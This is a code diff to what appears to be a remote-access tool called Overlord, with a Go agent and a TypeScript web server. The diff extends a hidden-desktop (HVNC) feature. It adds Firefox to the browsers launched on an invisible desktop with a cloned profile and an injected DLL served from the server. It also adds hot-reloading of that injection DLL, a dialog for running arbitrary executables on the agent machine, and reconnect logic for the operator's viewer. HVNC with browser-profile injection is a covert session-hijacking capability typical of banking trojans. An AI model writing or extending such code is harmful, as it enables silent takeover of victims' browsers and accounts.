hvnc: WS reconnect, H264 retry, Firefox injection, DLL hot-reload, error feedback, custom exe modal

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{
 		},
 		userData: `Microsoft\Edge\User Data`,
 	},
+	"firefox": {
+		name:    "Firefox",
+		exeName: "firefox.exe",
+		exePaths: []string{
+			`\Mozilla Firefox\firefox.exe`,
+		},
+		userData:   `Mozilla\Firefox`,
+		useAppData: true,
+	},
 }
 
 func findBrowserExe(info browserInfo) string {
@@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
 		"brave.exe":  true,
 		"msedge.exe": true,
 	}
-	if browserExes[strings.ToLower(filepath.Base(filePath))] {
+	baseName := strings.ToLower(filepath.Base(filePath))
+	if browserExes[baseName] {
 		args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen"
+	} else if baseName == "firefox.exe" {
+		args += " -no-remote -wait-for-browser"
 	}
 	cmdLine, err := syscall.UTF16FromString(filePath + args)
 	if err != nil {

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -173,7 +173,16 @@ var (
 
 	// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
 	hvncWinCache     map[uintptr]*hvncWinCacheEntry
-	hvncWinCachePrev []byte // previous composite frame for dirty detection
+	hvncWinCachePrev []byte
+
+	hvncCompHdcMem uintptr
+	hvncCompHbmp   uintptr
+	hvncCompBits   unsafe.Pointer
+	hvncCompW      int
+	hvncCompH      int
+
+	hvncPendingMouseMove *hvncTask
+	hvncPendingMoveMu    sync.Mutex
 )
 
 type hvncTaskKind int
@@ -355,6 +364,28 @@ func CleanupHVNCDesktop() {
 	hvncWinCache = nil
 	hvncWinCachePrev = nil
 
+	if hvncCompHbmp != 0 {
+		deleteObject(hvncCompHbmp)
+		hvncCompHbmp = 0
+	}
+	if hvncCompHdcMem != 0 {
+		deleteDC(hvncCompHdcMem)
+		hvncCompHdcMem = 0
+	}
+	hvncCompBits = nil
+	hvncCompW = 0
+	hvncCompH = 0
+
+	hvncInputMu.Lock()
+	hvncShiftDown = false
+	hvncCtrlDown = false
+	hvncAltDown = false
+	hvncCapsLock = false
+	hvncMouseButtons = 0
+	hvncHasCursor = false
+	hvncWorkingWindow = 0
+	hvncInputMu.Unlock()
+
 	if hvncDesktopHandle != 0 {
 		if hvncOriginalDesktop != 0 {
 			procSetThreadDesktop.Call(hvncOriginalDesktop)
@@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error {
 		return nil
 	}
 
-	found := false
+	if isExplorerRunningToolhelp() {
-	hwnd := getTopWindow(0)
-	for hwnd != 0 {
-		var pid uint32
-		procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
-		if pid != 0 && isExplorerPID(pid) {
-			found = true
-			break
-		}
-		hwnd = getWindow(hwnd, GW_HWNDNEXT)
-	}
-
-	if found {
 		log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
 		hvncExplorerStarted = true
 		return nil
@@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool {
 	return strings.HasSuffix(name, `\explorer.exe`)
 }
 
+func isExplorerRunningToolhelp() bool {
+	const TH32CS_SNAPPROCESS = 0x00000002
+	snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0)
+	if snap == 0 || snap == ^uintptr(0) {
+		return false
+	}
+	defer procCloseHandle.Call(snap)
+
+	type processEntry32 struct {
+		dwSize              uint32
+		cntUsage            uint32
+		th32ProcessID       uint32
+		th32DefaultHeapID   uintptr
+		th32ModuleID        uint32
+		cntThreads          uint32
+		th32ParentProcessID uint32
+		pcPriClassBase      int32
+		dwFlags             uint32
+		szExeFile           [260]uint16
+	}
+
+	var pe processEntry32
+	pe.dwSize = uint32(unsafe.Sizeof(pe))
+	ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe)))
+	for ret != 0 {
+		name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:]))
+		if name == "explorer.exe" {
+			return true
+		}
+		pe.dwSize = uint32(unsafe.Sizeof(pe))
+		ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe)))
+	}
+	return false
+}
+
 func hvncMouseMoveOnThread(display int, x, y int32) error {
 	bounds, _ := hvncResolveCaptureBounds(display)
 	if bounds.Dx() <= 0 || bounds.Dy() <= 0 {

Overlord-Server/public/assets/hvnc.js

@@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   const clientLabel = document.getElementById("clientLabel");
   clientLabel.textContent = clientId;
 
-  const ws = new WebSocket(
+  let ws = null;
-    (location.protocol === "https:" ? "wss://" : "ws://") +
+  let reconnectTimer = null;
+  let reconnectDelay = 1000;
+  const maxReconnectDelay = 15000;
+
+  function buildWsUrl() {
+    return (location.protocol === "https:" ? "wss://" : "ws://") +
       location.host +
       "/api/clients/" +
       clientId +
-      "/hvnc/ws",
+      "/hvnc/ws";
-  );
+  }
+
+  function connectWs() {
+    if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
+    ws = new WebSocket(buildWsUrl());
+    ws.binaryType = "arraybuffer";
+    ws.addEventListener("open", onWsOpen);
+    ws.addEventListener("message", onWsMessage);
+    ws.addEventListener("close", onWsClose);
+    ws.addEventListener("error", onWsError);
+  }
+
+  function scheduleReconnect() {
+    if (reconnectTimer) return;
+    reconnectTimer = setTimeout(() => {
+      reconnectTimer = null;
+      setStreamState("connecting", "Reconnecting");
+      connectWs();
+      reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
+    }, reconnectDelay);
+  }
+  const latencyEl = document.getElementById("latencyDisplay");
+  let lastInputSentAt = 0;
+  let lastLatencyMs = 0;
+
   const displaySelect = document.getElementById("displaySelect");
   const refreshBtn = document.getElementById("refreshDisplays");
   const startBtn = document.getElementById("startBtn");
@@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   const agentFps = document.getElementById("agentFps");
   const viewerFps = document.getElementById("viewerFps");
   const statusEl = document.getElementById("streamStatus");
-  ws.binaryType = "arraybuffer";
-
   let activeClientId = clientId;
   let renderCount = 0;
   let renderWindowStart = performance.now();
@@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   let lastMoveSentAt = 0;
   const mouseMoveIntervalMs = 33;
   const inputBackpressureBytes = 256 * 1024;
+  let h264ErrorCount = 0;
+  let h264RetryTimer = null;
 
   const storedCodecPref = localStorage.getItem(codecPrefKey);
   if (storedCodecPref === "0") {
@@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   }
 
   function updateControls() {
-    const wsOpen = ws.readyState === WebSocket.OPEN;
+    const wsOpen = ws && ws.readyState === WebSocket.OPEN;
     const isStarting = streamState === "starting";
     const isStreaming = streamState === "streaming";
     const isStopping = streamState === "stopping";
@@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
       console.warn("No active client selected");
       return;
     }
-    if (ws.readyState !== WebSocket.OPEN) {
+    if (!ws || ws.readyState !== WebSocket.OPEN) {
       return;
     }
     const msg = { type, ...payload };
@@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
   function fallbackToJpegCodec(reason) {
     if (!prefersH264) return;
+    h264ErrorCount++;
     prefersH264 = false;
     destroyVideoDecoder();
     if (codecH264) codecH264.checked = false;
-    localStorage.setItem(codecPrefKey, "0");
+    console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
-    console.warn("hvnc: falling back to jpeg codec", reason || "");
     const q = Number(qualitySlider?.value) || 90;
     setCodecModeLabel("jpeg", "fallback");
-    if (ws.readyState === WebSocket.OPEN) {
+    if (ws && ws.readyState === WebSocket.OPEN) {
       sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
     }
+    if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
+      if (h264RetryTimer) clearTimeout(h264RetryTimer);
+      h264RetryTimer = setTimeout(() => {
+        h264RetryTimer = null;
+        prefersH264 = true;
+        if (codecH264) codecH264.checked = true;
+        setCodecModeLabel("h264", "retry");
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          pushQuality(qualitySlider?.value || 90);
+        }
+      }, 5000);
+    } else if (h264ErrorCount > 3) {
+      localStorage.setItem(codecPrefKey, "0");
+    }
   }
 
   function isH264KeyFrame(data) {
@@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
     });
   }
 
-  ws.addEventListener("message", async function (ev) {
+  async function onWsMessage(ev) {
     if (ev.data instanceof ArrayBuffer) {
       const buf = new Uint8Array(ev.data);
       if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
@@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
         handleCloneProgress(msg);
         return;
       }
+      if (msg && msg.type === "hvnc_error") {
+        console.error("hvnc: server error:", msg.error || msg.message);
+        return;
+      }
       return;
     }
 
@@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
       handleCloneProgress(msg);
       return;
     }
-  });
+    if (msg && msg.type === "hvnc_error") {
+      console.error("hvnc: server error:", msg.error || msg.message);
+      return;
+    }
+  }
 
-  ws.addEventListener("open", function () {
+  function onWsOpen() {
+    reconnectDelay = 1000;
     if (qualitySlider) {
       pushQuality(qualitySlider.value);
     }
     clearOfflineTimer();
-    setStreamState("idle", "Stopped");
+    if (desiredStreaming) {
+      setStreamState("starting", "Resuming stream");
+      if (displaySelect && displaySelect.value !== undefined) {
+        sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
+      }
+      sendCmd("hvnc_start", { autoStartExplorer: false });
+    } else {
+      setStreamState("idle", "Stopped");
+    }
     fetchClientInfo().then(() => {
       if (displaySelect && displaySelect.value) {
-        console.debug("hvnc: initial select display", displaySelect.value);
+        sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
-        sendCmd("hvnc_select_display", {
-          display: parseInt(displaySelect.value, 10),
-        });
       }
     });
-  });
+  }
 
-  ws.addEventListener("close", function () {
+  function onWsClose() {
-    desiredStreaming = false;
     destroyVideoDecoder();
-    setStreamState("disconnected", "Disconnected");
+    if (desiredStreaming) {
-  });
+      setStreamState("connecting", "Reconnecting");
+      scheduleReconnect();
+    } else {
+      setStreamState("disconnected", "Disconnected");
+    }
+  }
 
-  ws.addEventListener("error", function () {
+  function onWsError() {
     destroyVideoDecoder();
     setStreamState("error", "WebSocket error");
-  });
+  }
 
   if (!frameWatchTimer) {
     frameWatchTimer = setInterval(() => {
@@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   });
 
   function stopOnExit() {
-    if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+    if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
       desiredStreaming = false;
       sendCmd("hvnc_stop", {});
     }
@@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
           const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
           const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
           sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
+        } else if (action === "start-firefox") {
+          const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
+          const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
+          const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
+          sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
         } else if (action === "start-custom") {
-          const exePath = prompt("Enter exe path (required)");
+          hideContextMenu();
-          if (!exePath) {
+          showCustomExeModal();
-            hideContextMenu();
+          return;
-            return;
-          }
-          const args = prompt("Enter arguments (optional)") || "";
-          const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`;
-          sendCmd("hvnc_start_process", { path: cmd });
         }
         hideContextMenu();
       });
     });
   }
 
+  function showCustomExeModal() {
+    let overlay = document.getElementById("hvncCustomExeOverlay");
+    if (overlay) { overlay.remove(); }
+    overlay = document.createElement("div");
+    overlay.id = "hvncCustomExeOverlay";
+    overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
+    overlay.innerHTML = `
+      <div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
+        <div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
+        <label class="block text-xs text-slate-400 mb-1">Exe path</label>
+        <input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
+          class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
+        <label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
+        <input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
+          class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
+        <div class="flex justify-end gap-2">
+          <button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
+          <button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
+        </div>
+      </div>`;
+    document.body.appendChild(overlay);
+    const pathInput = document.getElementById("hvncCustomExePath");
+    const argsInput = document.getElementById("hvncCustomExeArgs");
+    pathInput.focus();
+    function close() { overlay.remove(); }
+    document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
+    overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
+    function run() {
+      const exePath = pathInput.value.trim();
+      if (!exePath) return;
+      const args = argsInput.value.trim();
+      const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
+      sendCmd("hvnc_start_process", { path: cmd });
+      close();
+    }
+    document.getElementById("hvncCustomExeRun").addEventListener("click", run);
+    pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
+    argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
+  }
+
+  function updateLatencyDisplay(ms) {
+    lastLatencyMs = ms;
+    if (latencyEl) {
+      latencyEl.textContent = `${Math.round(ms)}ms`;
+    }
+  }
+
+  connectWs();
   fetchClientInfo();
 })();

Overlord-Server/public/hvnc.html

@@ -114,6 +114,9 @@
             <span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
               >--</span
             >
+            <span class="text-slate-600">|</span>
+            <span class="uppercase tracking-wide text-xs text-slate-500">lat</span>
+            <span id="latencyDisplay" class="pill pill-ghost font-mono text-amber-200">--</span>
           </div>
           <div
             class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
@@ -211,6 +214,13 @@
           >
             <i class="fa-brands fa-edge mr-2 text-sky-300"></i>Start Edge
           </button>
+          <button
+            type="button"
+            class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
+            data-action="start-firefox"
+          >
+            <i class="fa-brands fa-firefox mr-2 text-orange-300"></i>Start Firefox
+          </button>
           <div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Custom</div>
           <button
             type="button"

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -12,14 +12,11 @@ import * as sessionManager from "../sessions/sessionManager";
 import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
 import type { ClientInfo } from "../types";
 
-// Cache the injection DLL bytes so we read the file only once.
-// Sent as raw binary via msgpack — no base64 needed.
 let _cachedInjectionDll: Uint8Array | null = null;
-let _dllCacheChecked = false;
+let _dllCachePath: string | null = null;
-function getInjectionDllBytes(): Uint8Array | null {
+let _dllCacheMtimeMs: number = 0;
-  if (_dllCacheChecked) return _cachedInjectionDll;
-  _dllCacheChecked = true;
 
+function getInjectionDllBytes(): Uint8Array | null {
   const runtimeRoot = resolveRuntimeRoot();
   const candidates = [
     path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
@@ -27,15 +24,40 @@ function getInjectionDllBytes(): Uint8Array | null {
     path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
   ];
 
+  if (_dllCachePath) {
+    try {
+      const { statSync } = require("fs");
+      const st = statSync(_dllCachePath);
+      if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
+        return _cachedInjectionDll;
+      }
+      _cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
+      _dllCacheMtimeMs = st.mtimeMs;
+      logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
+      return _cachedInjectionDll;
+    } catch {
+      _dllCachePath = null;
+      _cachedInjectionDll = null;
+    }
+  }
+
   for (const dllPath of candidates) {
     if (!existsSync(dllPath)) continue;
-    _cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
+    try {
-    logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
+      const { statSync } = require("fs");
-    return _cachedInjectionDll;
+      const st = statSync(dllPath);
+      _cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
+      _dllCachePath = dllPath;
+      _dllCacheMtimeMs = st.mtimeMs;
+      logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
+      return _cachedInjectionDll;
+    } catch {
+      continue;
+    }
   }
 
   logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
-  return _cachedInjectionDll;
+  return null;
 }
 
 function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
@@ -644,6 +666,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
+        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
         break;
       }
       sendHVNCCommand(target, "hvnc_start_process_injected", {
@@ -658,6 +681,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
+        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
         break;
       }
       sendHVNCCommand(target, "hvnc_start_chrome_injected", {
@@ -670,6 +694,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
       const dllData = getInjectionDllBytes();
       if (!dllData) {
         logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
+        safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
         break;
       }
       sendHVNCCommand(target, "hvnc_start_browser_injected", {